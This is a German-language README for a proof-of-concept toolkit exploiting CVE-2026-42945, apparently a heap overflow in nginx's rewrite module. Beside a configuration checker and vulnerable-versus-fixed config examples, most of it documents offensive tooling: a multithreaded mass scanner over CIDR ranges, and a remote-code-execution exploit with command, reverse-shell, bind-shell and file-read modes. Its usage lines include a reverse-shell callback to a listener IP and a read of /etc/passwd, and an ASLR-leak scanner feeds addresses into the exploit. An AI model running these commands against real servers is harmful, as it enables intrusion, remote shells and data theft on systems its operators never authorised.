CVE-2026-42945 Nginx Rift – PoC-Toolkit

Ein umfassendes Proof-of-Concept-Toolkit für CVE-2026-42945 (Nginx Rift), eine kritische Heap-Pufferüberlauf-Schwachstelle im ngx_http_rewrite_module von Nginx.

---

Schwachstellenübersicht

Feld	Details
CVE-ID	CVE-2026-42945
Name	Nginx Rift
Typ	Heap-Pufferüberlauf
Komponente	ngx_http_rewrite_module
Schweregrad	Kritisch (CVSS 9.2)
Betroffen	Nginx 0.6.27 - 1.30.0
Behoben	Nginx 1.30.1 / 1.31.0

Grundursache

Die Schwachstelle entsteht durch eine Fehlberechnung der Größe zwischen zwei internen Durchläufen bei der Verarbeitung von Rewrite-Regeln. Wenn eine Konfiguration Folgendes verwendet:

• Unbenannte Regex-Erfassungsgruppen ($1, $2 usw.)
• in Kombination mit einer Ersetzungszeichenkette, die ? enthält

berechnet Nginx die erforderliche Puffergröße während des ersten Durchlaufs falsch und schreibt während des zweiten Durchlaufs über den zugewiesenen Heap-Puffer hinaus.

Beispiel einer verwundbaren Konfiguration

server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Sichere Konfiguration (behoben)

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

---

Toolkit-Komponenten

1. nginx_rift_poc.py – Zentrales PoC-Tool

Scanner und Exploitation-Tool für einzelne Ziele.

Funktionen:

• Nginx-Version aus dem Server-Header erkennen
• Prüfen, ob die Version im verwundbaren Bereich liegt
• Präparierte HTTP-Payloads senden, um den Heap-Overflow auszulösen
• Verwundbare/sichere Testkonfigurationen erzeugen

Verwendung:

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py – Massen-Scanner

Batch-Scanner zum gleichzeitigen Testen mehrerer Ziele.

Funktionen:

• Multithread-Scanning (Standard: 50 Threads)
• Zielliste aus Datei oder CIDR-Netzwerkbereich
• JSON-Ausgabe für die Integration
• Automatische SSL-Erkennung für Port 443

Verwendung:

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Format der Zieldatei:

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py – Konfigurationsanalysator

Lokale Nginx-Konfigurationsdateien auf verwundbare Rewrite-Muster durchsuchen.

Funktionen:

• nginx.conf parsen und include-Direktiven folgen
• Unbenannte Erfassungsgruppen mit ? in Ersetzungszeichenketten erkennen
• Automatische Korrektur (mit Sicherungskopie)
• Rekursives Scannen von Verzeichnissen

Verwendung:

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py – Erweitertes RCE-PoC

Fortschrittliches Exploit-Tool auf Basis der offiziellen Forschung von depthfirst; unterstützt mehrere Rewrite-Muster und Exploit-Modi.

Funktionen:

• Automatische Erkennung von 8 häufigen verwundbaren Rewrite-Mustern (/api/, /redirect/, /user/ usw.)
• Unterstützung mehrerer Overflow-Triggerzeichen (+, &, =, %)
• Intelligente Payload-Erzeugung mit kontrollierter Overflow-Größe
• Mehrere Exploit-Modi: cmd / shell / bind / read
• Benutzerdefinierte Heap-/libc-Basisadressen für Umgebungen mit deaktiviertem ASLR
• Dynamische Konstruktion des Spray-Bodys mit gefälschtem ngx_pool_cleanup_s

Verwendung:

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Details zu den Exploit-Modi:

Modus	Beschreibung	Ausgabe
cmd	Einzelnen Shell-Befehl ausführen	Befehlsausgabe auf dem Ziel
shell	Reverse-Shell starten	Verbindet zurück zu --listen-ip:listen-port
bind	Bind-Shell auf dem Ziel starten	Lauscht auf --listen-port auf dem Ziel
read	Datei vom Ziel lesen	Inhalt wird nach /tmp/nginx_rift_read geschrieben

Adresskonfiguration (nur bei deaktiviertem ASLR):

• --heap-base: Heap-Basisadresse des Ziels (z. B. 0x555555559000)
• --libc-base: libc-Basisadresse (z. B. 0x7ffff77ba000)
• --system-addr: Direkte system()-Adresse (überschreibt libc-base)

5. aslr_leak_detector.py – ASLR-Leak-Erkennung

Umfassender Scanner zur Erkennung von Informationslecks, die den ASLR-Schutz umgehen können.

Funktionen:

• Erkennung von HTTP-Header-Lecks (Server, X-Powered-By usw.)
• Analyse von Fehlerseiten auf Speicheradressen und Stack-Traces
• Nginx-spezifische Endpunkt-Erkundung (/nginx_status, /actuator/* usw.)
• Erkennung von Speicheradress-Lecks (64-Bit-Zeiger, Heap-/libc-/Stack-Adressen)
• Heap-Layout-Erkundung per Zeitanalyse
• ASLR-Statusermittlung (aktiviert/deaktiviert/schwach)
• Direkte Integration mit enhanced_poc.py über JSON-Bericht

Verwendung:

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

Integration mit dem erweiterten PoC:

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

---

Indikatoren zur Erkennung der Schwachstelle

Das PoC-Tool erkennt die Schwachstelle anhand folgender Indikatoren: